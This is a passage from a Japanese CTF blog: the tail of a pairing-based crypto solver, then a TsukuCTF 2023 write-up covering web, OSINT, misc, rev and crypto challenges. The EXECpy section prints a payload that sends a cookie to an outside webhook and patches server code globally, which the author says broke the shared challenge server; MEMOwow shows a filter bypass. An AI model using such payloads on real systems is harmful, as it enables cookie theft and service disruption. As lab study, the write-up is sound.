    if len(R2(y^2-d).roots())==0:
        break
    d0 += 1

a2 = a1*d^2
b2 = b1*d^3
E2 = EllipticCurve(F2, [a2, b2])
G2 = E2.random_point()
n2 = E2.order()
assert n2%r==0
G2 = n2//r*G2

# print(a2)
# print(b2)
# print(G2)

client.sendline((str(a2.polynomial()[0])+','+str(a2.polynomial()[1])))
client.sendline((str(b2.polynomial()[0])+','+str(b2.polynomial()[1])))
client.sendline((str(G2[0].polynomial()[0])+','+str(G2[0].polynomial()[1])))
client.sendline((str(G2[1].polynomial()[0])+','+str(G2[1].polynomial()[1])))

res = client.recvline()
res = res[res.index(b'['):]
output = json.loads(res)

F4.<j> = GF(q^4, "j", (x^2-d0)^2+1)

def F2_to_F4(v):
    v0 = v.polynomial()[0]
    v1 = v.polynomial()[1]
    return v0 + v1*(j^2-d0)

def pairing(P1, P2):
    E = EllipticCurve(F4, [a1, b1])
    P12 = E(P1[0], P1[1])
    P22 = E(F2_to_F4(P2[0])*j^(-2), F2_to_F4(P2[1])*j^(-3))
    return P12.weil_pairing(P22, r)

flag = ""
for _ in range(len(output)):
    Px = int(output[_]["P"]["x"])
    Py = int(output[_]["P"]["y"])
    Qx = (int(output[_]["Q"]["x"][0]),int(output[_]["Q"]["x"][1]))
    Qy = (int(output[_]["Q"]["y"][0]),int(output[_]["Q"]["y"][1]))
    Rx = (int(output[_]["R"]["x"][0]),int(output[_]["R"]["x"][1]))
    Ry = (int(output[_]["R"]["y"][0]),int(output[_]["R"]["y"][1]))

    P = E1(Px, Py)
    Q = E2(Qx[0]+Qx[1]*i, Qy[0]+Qy[1]*i)
    R = E2(Rx[0]+Rx[1]*i, Ry[0]+Ry[1]*i)
    pair1 = pairing(P, Q)
    pair2 = pairing(G1, R)
     
    for c in range(0x20, 0x80):
        if pair1^c == pair2:
            flag += chr(c)
            break

print(flag)
# flag{K0nka75u_D4m3dA><}

Beginnersの問題は、ペアリングで解けることに気づけさえすればネット上に公開されている実装を適当に探してきて貼るだけで解けるようになっていたので、pairing-friendly curveの構築やペアリングの実装を問う問題を作ってみようと思った感じです。自分もあまり理解していない状態から色々調べて作問したので、かなり勉強になりました。

ちゃんと作問できていたのか不安だったので、この問題を解いてくださったJosephさんにソルバーを見せていただいたところ、パラメータ を見つけるのにCocks-Pinch methodを用いていました。SageMathの実装まであったのは想定外でしたが、だいたい意図した通りに解いていただけていてよかったです。

*1:問題名はゼ○シィ縁結びというマッチングアプリが由来です。女性も有料であることが特徴で、婚活に真剣な人が集まっているとされているマッチングアプリです。おすすめというわけではないです。

*2: をsupersingularにすることはできるかもしれないことに気づきましたが、ペアリングを用いて 上のDLPに帰着させられるのみなので、現実的な時間で解くのは難しいはずです。

*3:, の条件は、知られているパラメータをそのまま使うだけで解かれないようにするために追加しました。この条件がなければ、例えばMNT curveのパラメータ , , などが使えます。

TsukuCTF 2023 writeup

TsukuCTF 2023 にチームぽんぽんぺいんで参加しました。

私は、OSINT以外を全部と、OSINTもたくさん解くことができました。

EXECpyで問題サーバーを破壊してしまうというアクシデントもありましたが楽しかったです。

[web] basic

保護されていない通信ではパスワードはまる見えダゾ!
e.g. パスワードが Passw0rd! の場合、フラグは TsukuCTF23{Passw0rd!} となります。

pcapファイル basic.pcapng が与えられます。

問題名からBasic認証の通信だと推測できます。実際、次のように認証情報のbase64を送信している箇所が見つかります。

YWRtaW46MjkyOWIwdTQ= をbase64デコードすると admin:2929b0u4 となるので、パスワードは 2929b0u4 とわかります。

フラグ：TsukuCTF23{2929b0u4}

[web] MEMOwow

素晴らしいメモアプリを作ったよ。
覚える情報量が増えているって???

メモの読み書き機能があるwebアプリケーションとそのソースコードが与えられます。メインのソースコード app.py は次のようになっていて、フラグは ./memo/flag にあります。

import base64
import secrets
import urllib.parse
from flask import Flask, render_template, request, session, redirect, url_for, abort

SECRET_KEY = secrets.token_bytes(32)

app = Flask(__name__)
app.secret_key = SECRET_KEY


@app.route("/", methods=["GET"])
def index():
    if not "memo" in session:
        session["memo"] = [b"Tsukushi"]
    return render_template("index.html")


@app.route("/write", methods=["GET"])
def write_get():
    if not "memo" in session:
        return redirect(url_for("index"))
    return render_template("write_get.html")


@app.route("/read", methods=["GET"])
def read_get():
    if not "memo" in session:
        return redirect(url_for("index"))
    return render_template("read_get.html")


@app.route("/write", methods=["POST"])
def write_post():
    if not "memo" in session:
        return redirect(url_for("index"))
    memo = urllib.parse.unquote_to_bytes(request.get_data()[8:256])
    if len(memo) < 8:
        return abort(403, "これくらいの長さは記憶してください。👻")
    try:
        session["memo"].append(memo)
        if len(session["memo"]) > 5:
            session["memo"].pop(0)
        session.modified = True
        filename = base64.b64encode(memo).decode()
        with open(f"./memo/{filename}", "wb+") as f:
            f.write(memo)
    except:
        return abort(403, "エラーが発生しました。👻")
    return render_template("write_post.html", id=filename)


@app.route("/read", methods=["POST"])
def read_post():
    if not "memo" in session:
        return redirect(url_for("index"))
    filename = urllib.parse.unquote_to_bytes(request.get_data()[7:]).replace(b"=", b"")
    filename = filename + b"=" * (-len(filename) % 4)
    if (
        (b"." in filename.lower())
        or (b"flag" in filename.lower())
        or (len(filename) < 8 * 1.33)
    ):
        return abort(403, "不正なメモIDです。👻")
    try:
        filename = base64.b64decode(filename)
        if filename not in session["memo"]:
            return abort(403, "メモが見つかりません。👻")
        filename = base64.b64encode(filename).decode()
        with open(f"./memo/{filename}", "rb") as f:
            memo = f.read()
    except:
        return abort(403, "エラーが発生しました。👻")
    return render_template("read_post.html", id=filename, memo=memo.decode())


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31415)

read では、入力 filename をbase64デコードし、session に含まれていることを確認した後、base64エンコードしてから ./memo/{filename} を読むということをしています。また、入力は . や flag を含んではならず、11文字以上という制約があります。

まず、/ もbase64の文字なので、11文字以上という制約は ////////flag で回避できそうです。

次に flag を含めない制約について、base64デコードが変な挙動をするという問題を他のCTFで見たことがあったので、flag を含まないが、base64デコードしてエンコードし直すと ////////flag のようになるケースがありそうだと思いました。適当に探索すると、////////fla|g=== → ////////flag などが見つかりました。これで回避できます。

import base64
for i in range(8, 12):
    for c in range(128):
        for c2 in range(128):
            try:
                s = b'/'*i + b'fla' + bytes([c,c2])
                s += b'=' * (-len(s) % 4)
                t = base64.b64encode(base64.b64decode(s))
                if t[-4:] == b'flag':
                    print(s, t)
            except:
                continue

最後に session の問題について、write で base64.b64decode("////////fla|g===") を書き込めば session に追加されそうです。flag ファイルの中身が書き変わってしまうのではと思っていたのですが、試してみると flag ファイルへの書き込みは権限がなくて失敗することがわかり、うまくいきました。

まとめると、write で base64.b64decode("////////fla|g===") を書き込んだあと、read で ////////fla|g=== を読むことでフラグが得られます。

フラグ：TsukuCTF23{b45364_50m371m35_3xh1b175_my573r10u5_b3h4v10r}

[web] EXECpy

問題と解法

RCEがめんどくさい?
データをexecに渡しといたからRCE2XSSしてね!

Pythonのコードを実行してくれるwebアプリケーション、クローラー、そのソースコードが与えられます。メインのアプリのソースコード app.py は次のようになっています。

from flask import Flask, render_template, request

app = Flask(__name__)


@app.route("/", methods=["GET"])
def index():
    code = request.args.get("code")
    if not code:
        return render_template("index.html")

    try:
        exec(code)
    except:
        pass

    return render_template("result.html")


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31416)

任意のコードを実行してくれますが、実行させたコードによらず固定の result.html をレスポンスするように見えます。

クローラーのソースコード capp.py は次のようになっています。

import os
import asyncio
from playwright.async_api import async_playwright
from flask import Flask, render_template, request

app = Flask(__name__)

DOMAIN = "nginx"
FLAG = os.environ.get("FLAG", "TsukuCTF23{**********REDACTED**********}")


@app.route("/crawler", methods=["GET"])
def index_get():
    return render_template("index_get.html")


async def crawl(url):
    async with async_playwright() as p:
        browser = await p.chromium.launch()
        page = await browser.new_page()

        try:
            response = await page.goto(url, timeout=5000)
            header = await response.header_value("Server")
            content = await page.content()

            if ("Tsukushi/2.94" in header) and ("🤪" not in content):
                await page.context.add_cookies(
                    [{"name": "FLAG", "value": FLAG, "domain": DOMAIN, "path": "/"}]
                )
                if url.startswith(f"http://{DOMAIN}/?code=") or url.startswith(
                    f"https://{DOMAIN}/?code="
                ):
                    await page.goto(url, timeout=5000)
        except:
            pass

        await browser.close()


@app.route("/crawler", methods=["POST"])
def index_post():
    asyncio.run(
        crawl(
            request.form.get("url").replace(
                "http://localhost:31416/", f"http://{DOMAIN}/", 1
            )
        )
    )
    return render_template("index_post.html")


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31417)

クローラーが http://nginx/?code= で始まるURLにアクセスし、レスポンスにヘッダー Server: Tsukushi/2.94 が含まれていて 🤪 を含まなければ、同じURLにフラグをCookieとして送信してくれるようです。

フラグを送信させることができれば、exec にCookieを自分のサーバー (https://webhook.siteを使いました) に送信するコードを食わせることでフラグを得られます。

メインのアプリに、ヘッダー Server: Tsukushi/2.94 を含んで 🤪 を含まないレスポンスを返させる必要がありそうです。index 関数の戻り値がレスポンスのようなので、これを書き換えたいですが、単に exec に return を食わせて戻り値を書き換えることはできないようです (Pythonのドキュメント)。

ここで、戻り値は render_template("result.html") となっているので、render_template 関数を書き換えて戻り値を変えられそうなことに気づきました。しかし、単に次のようなコードを食わせるだけでは書き換わりませんでした (グローバル関数と関数内関数は別物判定になるため？)。

def render_template(filename):
    from flask import make_response
    response = make_response("hacked!")
    response.headers['Server'] = "Tsukushi/2.94"
    return response

そこで global render_template をつけてみたところ、うまく書き換わりました。global render_template をつけると、render_template の変更がそのレスポンスだけに限らず永続化してしまい、たぶん他の人がアクセスしても hacked! が返るまずい状況になります (問題サーバーを壊してから気づきました...) が、直後に render_template を元に戻すコードを投げることでたぶん直せていそうでした。

flag = request.cookies.get('FLAG', None)
import urllib
if flag:
    get_req = urllib.request.Request(f"https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/?flag={flag}")
    urllib.request.urlopen(get_req)
global render_template, render_template_orig
render_template_orig = render_template
def render_template(filename):
    from flask import make_response
    response = make_response("hacked!")
    response.headers['Server'] = "Tsukushi/2.94"
    return response

元に戻すコード

global render_template, render_template_orig
render_template = render_template_orig

フラグ：TsukuCTF23{175_4_73rr1bl3_4774ck_70_1n73rrup7_h77p}

問題サーバーを破壊した話

最初、global render_template をつけるのをローカルで試したところ、サーバーエラーが返ったり*1、思い通りのレスポンスは返るがフラグは降ってこなかったりという謎の挙動になりました。謎だったので問題サーバーでもガチャガチャ試していると、自宅のとも問題サーバーのとも違うIPアドレスからflag？が来ました。

え？、と思いながらも一応スコアサーバーに提出しました (カス) が当然通らず、問題サーバーを壊しているぞというSatokiさんからのメッセージだと気づきました。

バグった render_template に書き換えてサーバーエラーを起こすコードを20分間くらい投げ続けていた気がします。すみません...。

[osint] eruption

つくしくんは旅行に行ったときに噴火を見ました。噴火の瞬間を実際に見たのは初めてでしたが、見た日付を覚えていません。
つくしくんが噴火を見た日付を写真の撮影日から特定して教えてください。
撮影場所が日本なのでタイムゾーンはJSTです。フラグの形式は TsukuCTF23{YYYY/MM/DD} です。

Google Lensに投げると、とてもよく似た写真が載っているブログ記事が見つかりました。

この記事に書かれているイベントの開催日 2022年1月26日(水)～28日(金) を試すと正解でした。

フラグ：TsukuCTF23{2022/01/28}

[osint] TrainWindow

夏、騒音、車窓にて。

フラグのフォーマットは、TsukuCTF23{緯度_経度}です。
緯度経度は小数第五位を切り捨てとします。

Google Lensに投げると、奥に見える海辺の建物などが似ている写真の載ったブログ記事が見つかりました。

伊東線の伊豆多賀付近のようなので、Googleマップで周辺を確認すると、写真に写っている「TTC」が見つかりました。

さらに、奥に見える海辺の建物は「エンゼルシーサイド南熱海」、目の前の建物は「カーサマリーナ上多賀」であることがわかり、解けました。

フラグ：TsukuCTF23{35.0640_139.0664}

[osint] Yuki

雪、無音、窓辺にて。

フラグのフォーマットは、TsukuCTF23{緯度_経度}です。
緯度経度は小数第四位を切り捨てとします(精度に注意)。

Google Lensに投げ、手前の椅子を含まないように調節すると、定山渓ビューホテル宿泊記が見つかりました。

この記事内のラウンジの写真に同じ形の椅子が見つかります。Googleマップで「カフェ サンリバー（定山渓ビューホテル内）」の座標が答えでした。

フラグ：TsukuCTF23{42.968_141.167}

[osint] free_rider

https://www.fnn.jp/articles/-/608001
私はこのユーチューバーが本当に許せません!
この動画を見たいので、元のYouTubeのURLを教えてください。
また、一番上の画像(「非難が殺到」を含む)の再生位置で指定してください。
フラグフォーマットは、TsukuCTF23{https://www.youtube.com/watch?v=**REDACTED**&t=**REDACTED**s}

「youtuber 新幹線無賃乗車」で検索すると他のニュース記事が見つかり、YouTuberの名前が「Fidias」であることがわかります。

Twitterで「Fidias shinkansen」と検索すると、元のYouTubeのURLが貼られたツイートが見つかりました。元の動画は削除されていました。

さらに、YouTubeで「フィディアス」と検索すると、再アップロードされた動画が見つかり、再生位置は2分56秒であることがわかりました。

フラグ：TsukuCTF23{https://www.youtube.com/watch?v=Dg_TKW3sS1U&t=176s}

[osint] river

弟のたくしから、「ボールが川で流されちゃった」と写真と共に、連絡がきた。
この場所はどこだ?
Flagフォーマットは TsukuCTF23{緯度_経度} です。
端数は少数第5位を切り捨てて小数点以下第4位の精度で回答してください。

「newgin専用駐車場」が見えます。ニューギンはパチンコのメーカーらしいです。直営店は1つしかないらしく、何の駐車場なんだろうと思いましたが、会社概要に載っている営業所を1つずつGoogleストリートビューで見ていくと、「鹿児島営業所」が当たりでした。

フラグ：TsukuCTF23{31.5757_130.5533}

[osint] broken display

表示が壊れているサイネージって、写真を撮りたくなりますよね!
正しく表示されているときに書かれている施設名を見つけて提出してください!
フラグ形式: TsukuCTF23{◯◯◯◯◯◯◯◯IYA_◯◯◯◯◯◯S}

ディスプレイにL'OCCITANEの文字が写っていることをチームメンバーが見つけていましたが、店舗リストにIYAで終わる建物名は無くて困りました。

後ろから4文字目はMに見えるなあと考えていると、建物名ではなく地名かもしれないこと、MIYAで終わる11文字の地名といえば西宮*2だということを思いつきました。

ロクシタンの店舗リストにある「西宮阪急」はSで終わらないですが、向かいの建物の看板が映っているなどもありうるかと思いGoogleマップで確認したところ、「阪急西宮ガーデンズ」が見つかりました。

フラグ：TsukuCTF23{NISHINOMIYA_GARDENS}

[osint] stickers

この画像が撮影された場所を教えてください!
Flagフォーマットは TsukuCTF23{緯度_経度} です。
ただし、小数点4桁の精度で答えてください。

黄色い車は熱海プリンのプリンカーであることをチームメンバーが見つけていました。

チームメンバーが見つけてくれたブログ記事を読むと、「熱海プリンカフェ2nd」の近くの駐車場にプリンカーがあったと書かれています。

この駐車場を探します。「珈琲SUN」が見えるので、「熱海 珈琲 sun」で検索すると「サンバード」という喫茶店とわかります。Googleストリートビューで周辺を探すと駐車場が見つかり、写真の場所もありました。

フラグ：TsukuCTF23{35.0966_139.0747}

[osint] flower_bed

花壇の先にQRコードのキューブがあるようですね。友人曰く、モニュメントの近くに配置されているものらしいです。
こちらのQRコードが示すURLを教えてください! リダイレクト前のURLでお願いします!

Flagの形式は TsukuCTF23{URL} です。例えば、https://sechack365.nict.go.jp がURLなら、 TsukuCTF23{https://sechack365.nict.go.jp} が答えになります。

QRコードの周りの英語を検索すると、「The Previous Fukuoka Prefectural Civic Hall and Honorary Guest House（旧福岡県公会堂貴賓館）Official Site」と書かれていそうなことがわかります。

旧福岡県公会堂貴賓館のサイトは https://www.fukuokaken-kihinkan.jp ですがこれは不正解でした。

チームメンバーが短縮URLを調べているのを見て、https://www.fukuokaken-kihinkan.jp にリダイレクトされそうなURLでより単純なものとして、www を消したものや、https を http に変えたものを試したところ、http が当たりでした。

フラグ：TsukuCTF23{http://www.fukuokaken-kihinkan.jp}

[osint] koi

画像フォルダを漁っていると、鯉のあらいを初めて食べた時の画像が出てきた。
当時のお店を再度訪ね、鯉の洗いを食べたいが電話番号が思い出せない。

誰か、私の代わりにお店を調べ、電話番号を教えてほしい。

記憶では、お店に行く途中で見かけたお皿が使われていた気がする。。。

Flagは電話番号となっており、ハイフンは不要である。
TsukuCTF23{電話番号}

使われている皿が福岡県東峰村の小石原焼であることをチームメンバーが見つけていました。

まず東峰村の飲食店を色々試しましたが全て外れでした。そこで範囲を広げて「鯉料理 福岡」で検索したところ、2ページ目くらいで同じ焼き物が使われている店を見つけました。これが正解でした。

フラグ：TsukuCTF23{0936176250}

[osint] twin

ハッカーは独自に収集した大量の個人情報を、とあるWebサイト上で2023年11月23日に投稿した。
我々はこの投稿IDがKL34A01mであるという情報を得た。ハッカーのGitHubアカウントを特定せよ。

View Hint
このWebサイトは28歳のオランダ人起業家によって2010年代初めに買収されている。

Webサイトはハッカーのフォーラムのようなものだと想像し、「28-year-old Dutch entrepreneur hacker」で検索すると、ニュース記事が見つかり、WebサイトはPastebinであることがわかりました。

Pastebinを見に行くと、同じユーザの他の投稿がありました。これはソースコードのようなので、同じソースコードがGitHubにも上がっているのではと思い、GitHubでコードの一部を検索してみると、見つかりました。

フラグ：TsukuCTF23{gemini5612}

[misc] what_os

とある研究所から、昔にシェル操作を行った紙が送られてきた来たんだが、 なんのOSでシェルを操作しているか気になってな。 バージョンの情報などは必要ないから、OSの名前だけを教えてくれないか?

にしても、データとかではなく紙で送られて来たんだ。一体何年前のOSなんだ。。。

送られてきた紙をダウンロードして確認してほしい。

コマンドの実行履歴が書かれたテキストファイル tty.txt が与えられます。

次の部分に着目しました。

# chdir /
# chdir usr
# ls -al
total   10
 41 sdrwr-  9 root    100 Jan  1 00:00:00 .
 41 sdrwr-  9 root    100 Jan  1 00:00:00 ..
 42 sdrwr-  2 root     80 Jan  1 00:00:00 boot
 49 sdrwr-  2 root     60 Jan  1 00:00:00 fort
 54 sdrwr-  2 root     70 Jan  1 00:00:00 jack
 57 sdrwr-  5 ken     120 Jan  1 00:00:00 ken
 59 sdrwr-  2 root    110 Jan  1 00:00:00 lib
 83 sdrwr-  5 root     60 Jan  1 00:00:00 src
 68 sdrwr-  2 root    160 Jan  1 00:00:00 sys
208 sxrwrw  1 root     54 Jan  1 00:00:00 x
# chdir sys
# ls -al
total  325
 68 sdrwr-  2 root    160 Jan  1 00:00:00 .
 41 sdrwr-  9 root    100 Jan  1 00:00:00 ..
 70 sxrwr-  1 root   2192 Jan  1 00:00:00 a.out
 71 l-rwr-  1 root  16448 Jan  1 00:00:00 core
 72 s-rwr-  1 sys    1928 Jan  1 00:00:00 maki.s
 69 lxrwrw  1 root  12636 Jan  1 00:00:00 u0.s
 81 lxrwrw  1 root  18901 Jan  1 00:00:00 u1.s
 80 lxrwrw  1 root  19053 Jan  1 00:00:00 u2.s
 79 lxrwrw  1 root   7037 Jan  1 00:00:00 u3.s
 78 lxrwrw  1 root  13240 Jan  1 00:00:00 u4.s
 77 lxrwrw  1 root   9451 Jan  1 00:00:00 u5.s
 76 lxrwrw  1 root   9819 Jan  1 00:00:00 u6.s
 75 lxrwrw  1 root  16293 Jan  1 00:00:00 u7.s
 74 lxrwrw  1 root  17257 Jan  1 00:00:00 u8.s
 73 lxrwrw  1 root  10784 Jan  1 00:00:00 u9.s
 82 sxrwrw  1 root   1422 Jan  1 00:00:00 ux.s

/usr/sys/maki.s が気になったので、これで検索してみると、GitHubリポジトリにたどり着きました。1st Edition UNIX らしいです。

フラグ：TsukuCTF23{UNIX}

[misc] build_error

怪盗シンボルより、以下の謎とき挑戦状が届いた。

怪盗シンボルだ!

メールに3つのファイルを添付した。
この3つのファイルを同じディレクトリに置き、makeとシェルに入力し実行するとビルドが走るようになっている。

ビルドを行い、標準出力からフラグを入手するのだ!

追記:ソースコードは秘密
怪盗シンボルはせっかちなので、ビルドできるかチェックしているか不安だ。。。 取りあえずチャレンジしてみよう。

FlagフォーマットはTsukuCTF23{n桁の整数}になります。

Makefile, main.o, one.o という3つのファイルが与えられます。

make してみてもエラーになります。main.o と one.o はx64のELFバイナリなので、Ghidraでデコンパイルしてみると次のようになります。

undefined8 main(void)

{
  int local_34;
  long local_30;
  long local_28;
  long local_20;
  
  local_30 = 0xc;
  local_28 = 0xb;
  local_20 = 0x4b;
  one_init();
  for (local_34 = 0; local_34 < local_28; local_34 = local_34 + 1) {
    if (local_34 < local_30) {
      local_20 = local_20 + 1;
    }
    if (local_20 < local_34) {
      local_28 = local_28 + 1;
    }
    local_30 = local_30 + 1;
  }
  local_20 = local_20 + local_30 + local_28;
  if (local_20 == c + a + b) {
    printf("flag is %ld\n",local_20);
  }
  else {
    puts("please retry");
  }
  return 0;
}

void one_init(void)

{
  int local_c;
  
  a = 0xc;
  b = 0xb;
  c = 0x4b;
  for (local_c = 0; (ulong)(long)local_c < b; local_c = local_c + 1) {
    if ((ulong)(long)local_c < a) {
      c = c + 1;
    }
    if (c < (ulong)(long)local_c) {
      b = b + 1;
    }
    a = a + 1;
  }
  return;
}

a + b + c がフラグのようです。次のようにPythonで書き直してフラグを求めました。

a = 0xc
b = 0xb
c = 0x4b
for i in range(b):
    if i<a:
        c+=1
    if c<i:
        b+=1
    a+=1
print(a+b+c)

フラグ：TsukuCTF23{120}

[misc] content_sign

どうやら、この画像には署名技術を使っているらしい。この署名技術は、画像に対しての編集を記録することができるらしい。署名技術を特定し、改変前の画像を復元してほしい。 Flag形式はTsukuCTF23{<一個前に署名した人の名前>&<署名した時刻(ISO8601拡張形式)>}です。例えば、一個前に署名した人の名前は「Tsuku」で、署名した時刻が2023/12/09 12:34:56(GMT+0)の場合、フラグはTsukuCTF23{Tsuku&2023-12-09T12:34:45+00:00}です。なお、タイムゾーンはGMT+0を使用してください。

画像ファイル signed_flag.png が与えられます。

binwalkコマンドを試すと証明書のファイルがたくさん見つかったので、opensslコマンドで中身を見てみましたがよくわかりませんでした。

次にstringsコマンドを試しました。

...
stds.schema-org.CreativeWork
xjson{"@context":"https://schema.org","@type":"CreativeWork","author":[{"@type":"Person","name":"TSUKU4_IS_H@CKER"}]}
c2pa.actions
factionkc2pa.openedhmetadata
mreviewRatings
kexplanationy
dcodelc2pa.unknownevalue
my.assertion
TsukuTsukuTsukuTsukuTsukuTsuku
c2pa.hash.data
jexclusions
3dnamenjumbf manifestcalgfsha256dhashX C
c2pa.claim
hdc:titlemTsukuctf_20XXidc:formatiimage/pngjinstanceIDx,xmp:iid:e18e08ca-8259-4226-988e-7ed2f58e1010oclaim_generatorx'CanUseeMe c2patool/0.7.0 c2pa-rs/0.28.3tclaim_generator_info
isignaturex
self#jumbf=c2pa.signaturejassertions
curlx3self#jumbf=c2pa.assertions/c2pa.thumbnail.claim.pngdhashX k
curlx7self#jumbf=c2pa.assertions/stds.schema-org.CreativeWorkdhashX 
curlx'self#jumbf=c2pa.assertions/c2pa.actionsdhashX q
curlx'self#jumbf=c2pa.assertions/my.assertiondhashX 
curlx)self#jumbf=c2pa.assertions/c2pa.hash.datadhashX ]
'calgfsha256
c2pa.signature
itstTokens
20231208130026Z
DigiCert, Inc.1;09
...
stds.schema-org.CreativeWork
pjson{"@context":"https://schema.org","@type":"CreativeWork","author":[{"@type":"Person","name":"tarutaru"}]}
c2pa.actions
factionkc2pa.openedhmetadata
mreviewRatings
kexplanationx?TsukuCTFake23{https://youtu.be/48rz8udZBmQ?si=ljjZsu8XFI8OLWg3}dcodelc2pa.unknownevalue
my.assertion
gany_tagcaaa
c2pa.hash.data
jexclusions
I~dnamenjumbf manifestcalgfsha256dhashX g
c2pa.claim
hdc:titlemTsukuctf_20XXidc:formatiimage/pngjinstanceIDx,xmp:iid:18b17123-cbc9-4328-8aca-b78ea47b3a40oclaim_generatorx'CanUseeMe c2patool/0.7.0 c2pa-rs/0.28.3tclaim_generator_info
isignaturex
self#jumbf=c2pa.signaturejassertions
curlx4self#jumbf=c2pa.assertions/c2pa.thumbnail.claim.jpegdhashX 
curlx*self#jumbf=c2pa.assertions/c2pa.ingredientdhashX #
curlx7self#jumbf=c2pa.assertions/stds.schema-org.CreativeWorkdhashX 
curlx'self#jumbf=c2pa.assertions/c2pa.actionsdhashX 
curlx'self#jumbf=c2pa.assertions/my.assertiondhashX 
curlx)self#jumbf=c2pa.assertions/c2pa.hash.datadhashX 
Th]calgfsha256
c2pa.signature
itstTokens
20231208130125Z
DigiCert, Inc.1;09
...

TSUKU4_IS_H@CKER という名前の人が時刻 20231208130026Z に、tarutaru という名前の人が時刻 20231208130125Z に署名したとエスパーできました。

フラグ：TsukuCTF23{TSUKU4_IS_H@CKER&2023-12-08T13:00:26+00:00}

[rev] title_screen

父は昔プログラマーだったらしい、
しかし、当時開発したソフトのタイトルが思い出せない。
ソフトを起動すると画面にタイトルが表示されるらしいのだが...
残っている開発データからなんとか導き出そう!

※実行結果として予想される表示文字列(記号含む)をフラグとして解答してください。

View Hint
キャラクターは8x8ピクセルを1ブロックとして並べられます。データはMapper0想定でCHR-ROMは8KBです。

character.bmp, main.asm, main.cfg という3つのファイルが与えられます。character.bmp は次のような画像で、main.asm はアセンブリのコードです。

問題文にあるキーワード「Mapper0 CHR-ROM アセンブリ」で検索すると、似たアセンブリのコードを含む次の記事が見つかります。M1 Macで作る、ファミコンソフトプログラミング。 アセンブラでハローワールド編

これを見ると、62行目の $07 → 画像の0行7列を読んで H、73行目の $04 → 画像の0行4列を読んで E、という風に表示される文字が決まっていることが推測できます。

そこで、main.asm の次の部分

data:
    .byte   $22, $a4, $39, $26, $39
    .byte   $a4, $55, $79, $bb, $4c
    .byte   $39, $c7, $a4, $d1, $8c

に着目し、character.bmp で2行2列、a行4列、3行9列、... を順に読んでみると Tsukushi_Quest となって、これが答えでした。最後の8行c列は読めない文字ですが、main.asm 内に14という数値が見つかるので、表示文字列の長さは14と推測できました。

フラグ：TsukuCTF23{Tsukushi_Quest}

[crypto] new_cipher_scheme

次のソースコードとその実行結果が与えられます。

from Crypto.Util.number import *
from flag import flag


def magic2(a):
    sum = 0
    for i in range(a):
        sum += i * 2 + 1
    return sum


def magic(p, q, r):
    x = p + q
    for i in range(3):
        x = magic2(x)
    return x % r


m = bytes_to_long(flag.encode())
p = getPrime(512)
q = getPrime(512)
r = getPrime(1024)
n = p * q
e = 65537
c = pow(m, e, n)
s = magic(p, q, r)
print("r:", r)
print("n:", n)
print("e:", e)
print("c:", c)
print("s:", s)

RSA暗号ですが、s = magic(p, q, r) の値が追加で与えられています。

magic2(a) の戻り値は です。よって、 です。

は512bit、 は1024bitなので、 です。よって で を解けば がわかります。さらに は の解なので、この2次方程式を解くことで が求まり、復号できます。

from output import *
from Crypto.Util.number import *

PR.<x> = PolynomialRing(GF(r))
f = x^8-s
rs = f.roots()
t = int(rs[-1][0])

PR.<x> = PolynomialRing(ZZ)
f = x^2-t*x+n
rs = f.roots()
p = int(rs[0][0])
q = int(rs[1][0])
d = inverse(int(e), int((p-1)*(q-1)))
print(long_to_bytes(pow(int(c), int(d), int(n))))

フラグ：TsukuCTF23{Welcome_to_crypto!}

*1:単にコードがバグっていたせいでした。フラグ送信用の urllib.request と flask.request が被ってなかなか気づけず。

*2:あいみょんの出身地ということでパッと思いついたのですが、実際にあいみょんがこのディスプレイに映っていたのを見つけている人がいてびっくりしました。https://x.com/myaumyau33/status/1733779562939797960?s=20